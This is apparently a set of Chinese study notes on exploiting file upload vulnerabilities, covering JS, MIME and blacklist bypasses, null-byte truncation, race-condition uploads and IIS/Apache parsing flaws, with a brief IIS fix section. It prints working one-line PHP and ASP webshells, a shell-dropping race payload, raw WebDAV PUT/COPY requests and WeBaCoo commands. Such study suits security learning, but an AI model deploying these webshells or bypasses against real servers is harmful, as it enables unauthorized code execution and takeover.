文件上传漏洞
绕过JS验证
-
通过表单上传时,可能存在JS对文件类型、大小的检验
-
使用BurpSuite剔除相应JS
-
上传WebShell,使用菜刀连接
<?php @eval($_POST["cmd"]);?>
绕过MIME_Type验证
- MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
- 通过
$_FILE['upload_file']['file']
获取上传文件的MIME_Type类型。其中upload_file实在表单中定义的。 - 使用BurpSuite绕过Mime-Type验证,在Repeater重放修改MIME-Type类型绕过验证
- 上传WebShell,使用菜刀连接
绕过黑名单验证
- 对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。
- 分类:1. 黑名单,2. 白名单
- 基于黑名单验证代码分析:
- 寻找“漏网之鱼”
- 使用BurpSuite,利用Intruder模块枚举,寻找黑名单中没有过滤的后缀名
绕过黑名单验证(.htaccess)
-
.htaccess介绍:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
-
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。 -
在Apache中如果需要启动 .htaccess,必须在http.conf中设置 AllowOverride
-
在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。
文件内容:SetHandler application/x-httpd-php
-
制作图片phpinfo探针并上传:使用文本编辑工具写入php代码:
<?php phpinfo();?>
,保存为1.jpg进行上传即可。
绕过黑名单验证(大小写绕过)
- Windows下,对于文件名中的大小写不敏感,Linux下,文件名的大小写敏感。
- 黑名单中,有.htaccess,但是缺少了上传文件名获取的大小写转换。
- 修改后缀名,如PhP,上传。
- 连接
绕过黑名单验证(空格绕过)
- Windows系统下,文件名中空格会被当作空处理,程序中的监测代码缺不能自动删除空格。从而绕过黑名单。
- 针对这样的情况,需要使用BurpSuite阶段HTTP请求之后,修改对应的文件名,添加空格。
- 连接
绕过黑名单验证(.验证)
-
Windows系统下,文件后缀名最后一个.会被自动去除
eg:Windows下新建一个
1.php.
文件,查看保存后的文件名为1.php
-
代码中缺少去除文件名最后 ‘.’ 的处理,可利用Windows特性绕过。
-
发包,使用BurpSuite截断,改包,发送。
绕过黑名单验证(特殊符号绕过)
- Windows系统下,如果上传的文件名中
test.php::$DATA
会在服务器上生成一个test.php
的文件,其中内容和所上传文件内容相同,并被解析。 - 在Linux下,或用BurpSuite,修改文件名为
1.php::$DATA
进行上传。 - 上传WebShell
绕过黑名单验证(路径拼接绕过)
-
原理:在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
eg:用户新建
1.php. .
,deldot删除最后一个点之后,不再进行删除,trim删除空格,最终上传的文件名为1.php.
-
上传小WebShell(绕过文件大小限制等),再通过小WebShell上传大WebShell
绕过黑名单验证(双写绕过)
-
代码编写过程中,只对黑名单进行空替换,因为只替换一次所以造成双写绕过。
-
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
-
该函数必须遵循下列规则:
-
如果搜索的字符串是一个数组,那么它将返回一个数组。
-
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
-
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
-
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
-
注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
-
注释:该函数是二进制安全的。
-
-
上传,连接
绕过白名单验证(00截断验证)
-
00截断原理:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
(在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数。)
-
GET型00截断
- GET型提交的内容会被自动进行URL解码(一i的那个要关闭GPC,否则无法成功)
-
POST型00截断
- POST请求中,%00不会被自动解码,需要再16进制中进行修改00。
图片WebShell上传
-
在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
-
eg:<1.jpg> “
<?php phpinfo(); ?>
” -
上传图片WebShell文件,可能有Content-Type验证,修改为image/gif或image/jpg,符合当前文件类型的MIME-Type
-
在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。
<?php if($_GET){ include($_GET[“file”]) }else{ echo “not get args file”; } ?>
竞争上传
-
文件上传过程:服务器获取文件 => 保存上传临时文件 => 重命名/移动临时文件
-
竞争条件原理介绍:
-
网站逻辑:
-
网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
-
网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
-
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
eg:上传文件代码如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>
-
-
-
先进行上传,后进行判断与删除,利用时间差进行WebShell上传。
-
提前不断访问代码文件(python-requests),然后上传,最终使用菜刀连接一句话木马。
服务器(中间件)解析漏洞
-
IIS 6.0
-
建立 .asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件解析。 <%=NOW()%>
-
当文件 *.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。
-
WebDAV基于HTTP1.1协议的通信协议书的HTTP支持PUT、MOVE、COPY、DELETE方法。
-
1、探测是否存在IIS PUT漏洞:
OPTIONS / HTTP1.1 Host: www.xxx.com
2、上传txt文本文件:
PUT /a.txt HTTP1.1 Host:www.xxx.com Content-Length: 30 <%eval request("chopper")%>
3、通过Move或Copy重名
COPY /a.txt HTTP1.1 Host: www.xxx.com Destination: http://www.xxx.com/cmd.asp
4、删除
DELETE /a.txt HTTP1.1 Host: www.xxx.com
-
IIS 6.0 PUT上传漏洞
- 利用nikto探测
- nikto -h <IP地址>
-
IIS 6.0 PUT上传利用
- 利用BurpSuite进行IIS PUT漏洞利用。先用OPTIONS探测、PUT、MOVE、DELETE
-
-
Apache文件解析漏洞
- 因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。
- 流程:
- 在站点下新建一个
1.php.xxxx
文件,xxxx为无法识别的后缀名,其中内容为phpinfo();
- 利用:
- 在Web程序上进行上传,但是有黑名单验证时,利用该解析漏洞可以上传对应的webshell到目标服务器。
- 上传一句话木马
<?php @eval($_POST["cmd"]); ?>
, 用中国菜刀连接。
- 在站点下新建一个
IIS 6.0解析修复
- IIS6.0默认的可执行文件除了asp还有三种:
asa
,.cer
,.cdx
- 修复:
- 目前无官方补丁(微软不认为是漏洞)
- 自己编写正则,组织上传
xx.asp;.jpg
类型的文件名 - 做好限制设置,限制用户创建文件夹
WebShell生成工具
- WeBaCoo:
webacoo -g -o a.php
生成,webacoo -t -u webshell地址
连接